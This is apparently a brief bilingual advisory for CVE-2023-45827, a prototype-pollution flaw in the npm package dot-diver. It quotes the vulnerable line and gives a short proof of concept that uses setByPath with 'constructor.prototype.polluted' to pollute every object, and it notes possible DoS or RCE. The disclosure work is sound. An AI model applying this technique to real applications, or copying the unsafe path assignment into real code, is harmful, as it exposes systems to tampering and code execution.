CVE-2023-45827
CVSS : 9.8
Nov 3, 2023
ProtoType Pollution in node.js package
作为 rebob 项目的一部分
这是 dot-diver 中的一个原型污染(PP)漏洞。它可能导致 RCE。
漏洞代码
//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277
//eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
objectToSet[lastKey] = value
poc
import { getByPath, setByPath } from '@clickbar/dot-diver'
console.log({}.polluted); // undefined
setByPath({},'constructor.prototype.polluted', 'foo');
console.log({}.polluted); // foo
这是一个原型污染(PP)漏洞,可能导致 Dos、RCE 等。